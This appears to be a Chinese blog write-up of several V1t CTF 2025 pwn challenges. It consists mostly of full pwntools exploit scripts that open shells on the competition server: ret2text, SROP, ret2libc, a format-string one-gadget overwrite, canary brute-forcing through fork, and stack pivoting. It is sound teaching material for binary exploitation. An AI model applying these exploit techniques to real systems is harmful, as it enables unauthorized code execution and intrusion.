0x00 前言

n1 n1 打不过,被叫来打这个很多misc题的V1t CTF 2025了,挺简单的,又水一篇

主要是最近操作系统课在讲这个fork,遇到了类似的题,稍微记录一下。

0x01 题解

Waddler

ret2text

from pwn import *
from ctypes import *

context(arch='amd64', log_level = 'debug',os = 'linux')
file='./chall'
elf=ELF(file)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

choice = 0x001
if choice:
port= 30210
target = 'chall.v1t.site'
p = remote(target,port)
else:
p = process(file)

s = lambda data :p.send(data)
sl = lambda data :p.sendline(data)
sa = lambda x,data :p.sendafter(x, data)
sla = lambda x,data :p.sendlineafter(x, data)
r = lambda num=4096 :p.recv(num)
rl = lambda num=4096 :p.recvline(num)
ru = lambda x :p.recvuntil(x)
itr = lambda :p.interactive()
uu32 = lambda data :u32(data.ljust(4,b'\x00'))
uu64 = lambda data :u64(data.ljust(8,b'\x00'))
uru64 = lambda :uu64(ru('\x7f')[-6:])
leak = lambda name :log.success('{} = {}'.format(name, hex(eval(name))))
libc_os = lambda x :libc_base + x
clear = lambda : os.system('clear')

def get_sb():
return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))

def debug(cmd=''):
if choice==1:
return
gdb.attach(p,gdbscript=cmd)

commend = '''
b main
'''
debug(commend)

payload = b'a'*0x48 + p64(0x00000000040128C)
sla('coming!',payload)

itr()

WakeCall

srop

from pwn import *
from ctypes import *

context(arch='amd64', log_level = 'debug',os = 'linux')
file='./pwn'
elf=ELF(file)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

choice = 0x001
if choice:
port= 30211
target = 'chall.v1t.site'
p = remote(target,port)
else:
p = process(file)

s = lambda data :p.send(data)
sl = lambda data :p.sendline(data)
sa = lambda x,data :p.sendafter(x, data)
sla = lambda x,data :p.sendlineafter(x, data)
r = lambda num=4096 :p.recv(num)
rl = lambda num=4096 :p.recvline(num)
ru = lambda x :p.recvuntil(x)
itr = lambda :p.interactive()
uu32 = lambda data :u32(data.ljust(4,b'\x00'))
uu64 = lambda data :u64(data.ljust(8,b'\x00'))
uru64 = lambda :uu64(ru('\x7f')[-6:])
leak = lambda name :log.success('{} = {}'.format(name, hex(eval(name))))
libc_os = lambda x :libc_base + x
clear = lambda : os.system('clear')

def get_sb():
return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))

def debug(cmd=''):
if choice==1:
return
gdb.attach(p,gdbscript=cmd)

commend = '''
b main
'''
debug(commend)

rax = 0x0000000004011EF
syscall = 0x0000000004011F1
lea = 0x000000000401212

sigframe=SigreturnFrame()
sigframe.rax = 0x3b
sigframe.rdi = elf.bss() + 0x200
sigframe.rsi = 0
sigframe.rdx = 0
sigframe.r10 = 0
sigframe.rsp = elf.bss()+0x38
sigframe.rbp = elf.bss()+0x88
sigframe.rip = syscall

payload = b'a'*0x80 + flat(elf.bss() + 0x200 + 0x80,lea)
sa('the pond.',payload)

pause()
payload = b'/bin/sh\x00' + b'a'*0x78 + flat(elf.bss() + 0x200 + 0x80, rax,0xf, syscall ,sigframe)
s(payload)


itr()

Feather Father

i386的ret2libc

from pwn import *
from ctypes import *

context(arch='i386', log_level = 'debug',os = 'linux')
file='./chall'
elf=ELF(file)
# libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
libc = ELF('./libc.so.6')

choice = 0x001
if choice:
port= 30212
target = 'chall.v1t.site'
p = remote(target,port)
else:
p = process(file)

s = lambda data :p.send(data)
sl = lambda data :p.sendline(data)
sa = lambda x,data :p.sendafter(x, data)
sla = lambda x,data :p.sendlineafter(x, data)
r = lambda num=4096 :p.recv(num)
rl = lambda num=4096 :p.recvline(num)
ru = lambda x :p.recvuntil(x)
itr = lambda :p.interactive()
uu32 = lambda data :u32(data.ljust(4,b'\x00'))
uu64 = lambda data :u64(data.ljust(8,b'\x00'))
uru64 = lambda :uu64(ru('\x7f')[-6:])
leak = lambda name :log.success('{} = {}'.format(name, hex(eval(name))))
libc_os = lambda x :libc_base + x
clear = lambda : os.system('clear')

def get_sb():
return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))

def debug(cmd=''):
if choice==1:
return
gdb.attach(p,gdbscript=cmd)


commend = '''
b main
'''
debug(commend)

push_15e = 0x8049214
leave_ret = 0x8049230
pop_ebx = 0x0804901e

payload = b'a' * 0x134 + p32(elf.bss() + 0x800 + 0x134) + p32(elf.plt.puts) + p32(push_15e) + p32(elf.got.puts)
sa('here!',payload)

puts_addr = uu32(ru(b'\xf7')[-4:])
libc_base = puts_addr - libc.sym['puts']

leak('libc_base')
system,binsh = get_sb()

payload = b'a'*0x134 + flat(elf.bss()+0x800+0x134,system,push_15e,binsh)
pause()
s(payload)

itr()

Faulty Announcer

栈上的格式化字符串,改返回地址以及rbp - 0x78以满足one gadget条件,因为输入长度还挺长,也是没什么限制。

from pwn import *
from ctypes import *

context(arch='amd64', log_level = 'debug',os = 'linux')
file='./chall'
elf=ELF(file)
# libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
libc = ELF('./libc.so.6')

choice = 0x001
if choice:
port= 30213
target = 'chall.v1t.site'
p = remote(target,port)
else:
p = process(file)

s = lambda data :p.send(data)
sl = lambda data :p.sendline(data)
sa = lambda x,data :p.sendafter(x, data)
sla = lambda x,data :p.sendlineafter(x, data)
r = lambda num=4096 :p.recv(num)
rl = lambda num=4096 :p.recvline(num)
ru = lambda x :p.recvuntil(x)
itr = lambda :p.interactive()
uu32 = lambda data :u32(data.ljust(4,b'\x00'))
uu64 = lambda data :u64(data.ljust(8,b'\x00'))
uru64 = lambda :uu64(ru('\x7f')[-6:])
leak = lambda name :log.success('{} = {}'.format(name, hex(eval(name))))
libc_os = lambda x :libc_base + x
clear = lambda : os.system('clear')

def get_sb():
return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))

def debug(cmd=''):
if choice==1:
return
gdb.attach(p,gdbscript=cmd)

def malloc(size,content):
pass

def edit(index,content):
pass

def free(index):
pass

def show(index):
pass

commend = '''
b *0x0000000004012BF
'''
debug(commend)

payload = b'a'*4
sla('your name?',payload)

sla('do you want','%23$p%13$p')

ru('0x')
libc_base = int(r(12),16) - 0x234af0
leak('libc_base')
one = [0x583ec,0x583f3,0xef4ce,0xef52b]

ru('0x')
stack_addr = int(r(12),16)
ret_addr = stack_addr + 0x40
leak('ret_addr')

target = ret_addr + 0x20

one3 = libc_os(one[3])
leak('one3')
payload = fmtstr_payload(8,{target:elf.bss()+0x800,ret_addr:libc_os(one[3])},write_size = 'short')
sla('PEAK LOUD!',payload)

itr()

EchoNet

比较有意思的一题,程序逻辑大致如下
alt text无限循环利用fork创建子进程,waitpid(pid, &stat_loc, 0); 能让父进程捕获到崩溃的子进程,然后被唤醒,继续循环到fork。也就说在vuln()里面这怎搞这父进程都不会崩溃。程序是开了canary的,canary不正确的话会有一段 stack smashing 回显,利用这个来爆破,最后ret2libc就行。不过canary的位置怪怪的,还是要多动调

from pwn import *
from ctypes import *

context(arch='i386', log_level = 'debug',os = 'linux')
file='./chall'
elf=ELF(file)
# libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
libc = ELF('./libc.so.6')

choice = 0x001
if choice:
port= 30130
target = 'chall.v1t.site'
p = remote(target,port)
else:
p = process(file)

s = lambda data :p.send(data)
sl = lambda data :p.sendline(data)
sa = lambda x,data :p.sendafter(x, data)
sla = lambda x,data :p.sendlineafter(x, data)
r = lambda num=4096 :p.recv(num)
rl = lambda num=4096 :p.recvline(num)
ru = lambda x :p.recvuntil(x)
itr = lambda :p.interactive()
uu32 = lambda data :u32(data.ljust(4,b'\x00'))
uu64 = lambda data :u64(data.ljust(8,b'\x00'))
uru64 = lambda :uu64(ru('\x7f')[-6:])
leak = lambda name :log.success('{} = {}'.format(name, hex(eval(name))))
libc_os = lambda x :libc_base + x
clear = lambda : os.system('clear')

def get_sb():
return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))

def debug(cmd=''):
if choice==1:
return
gdb.attach(p,gdbscript=cmd)

commend = '''
b *0x0804929B
'''

known_canary = b""
padding = b'a'* 0x48

for j in range(4):
for i in range(256):
if(i != 10):
payload = padding + known_canary + bytes([i])
sla('your secret: ', payload)
output = ru('Enter')
print(output)
if b"stack smashing" in output:
continue
elif b"flickers" in output:
known_canary += bytes([i])
break
else:
continue

debug(commend)
print(f"Canary: {known_canary}")

fork = 0x8049319
payload = b'a'*0x48 + known_canary + b'a'*0xc + flat(elf.plt.puts,fork,elf.got.puts)
sla('your secret: ', payload)
ru('The ember flickers.\n')
puts_addr = uu32(r(4))
libc_base = puts_addr - libc.sym['puts']
leak('libc_base')

system,binsh = get_sb()
payload = b'a'*0x48 + known_canary + b'a'*0xc + flat(system,fork,binsh)
sla('your secret: ', payload)

itr()

Leave It

简单栈迁移,填充可能怪怪的,当时动调调出来是在那个位置,前面的就没管了。第一段是正常两次leave ret的,第二次好像就劫持了fgets的返回地址,没用到两次leave ret

from pwn import *
from ctypes import *

context(arch='amd64', log_level = 'debug',os = 'linux')
file='./chall'
elf=ELF(file)
# libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
libc = ELF('./libc.so.6')

choice = 0x001
if choice:
port= 30150
target = 'chall.v1t.site'
p = remote(target,port)
else:
p = process(file)

s = lambda data :p.send(data)
sl = lambda data :p.sendline(data)
sa = lambda x,data :p.sendafter(x, data)
sla = lambda x,data :p.sendlineafter(x, data)
r = lambda num=4096 :p.recv(num)
rl = lambda num=4096 :p.recvline(num)
ru = lambda x :p.recvuntil(x)
itr = lambda :p.interactive()
uu32 = lambda data :u32(data.ljust(4,b'\x00'))
uu64 = lambda data :u64(data.ljust(8,b'\x00'))
uru64 = lambda :uu64(ru('\x7f')[-6:])
leak = lambda name :log.success('{} = {}'.format(name, hex(eval(name))))
libc_os = lambda x :libc_base + x
clear = lambda : os.system('clear')

def get_sb():
return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))

def debug(cmd=''):
if choice==1:
return
gdb.attach(p,gdbscript=cmd)


commend = '''
b
'''
ru('This may help: ')
stack_addr = int(r(14),16)
leak('stack_addr')

debug()
rdi = 0x0000000000401214
mov_rdx =0x000000000401240
leave_ret = 0x000000000401259
rbp = 0x000000000040119d

payload = flat(rdi,elf.got.puts,elf.plt.puts,rbp,stack_addr + 0x60,mov_rdx)
payload = payload.ljust(0x60)
payload += p64(stack_addr -8) + p64(leave_ret)
sl(payload)

rl()
libc_base = uu64(rl()[:-1].ljust(8,b'\x00')) - libc.sym['puts']
leak('libc_base')

pause()

system,binsh = get_sb()
ret = 0x000000000040125A
payload = flat(rdi,binsh,system,mov_rdx,0,ret,rdi,binsh,system,mov_rdx)
payload = payload.ljust(0x60)
payload += p64(stack_addr -8) + p64(leave_ret)
sl(payload)

itr()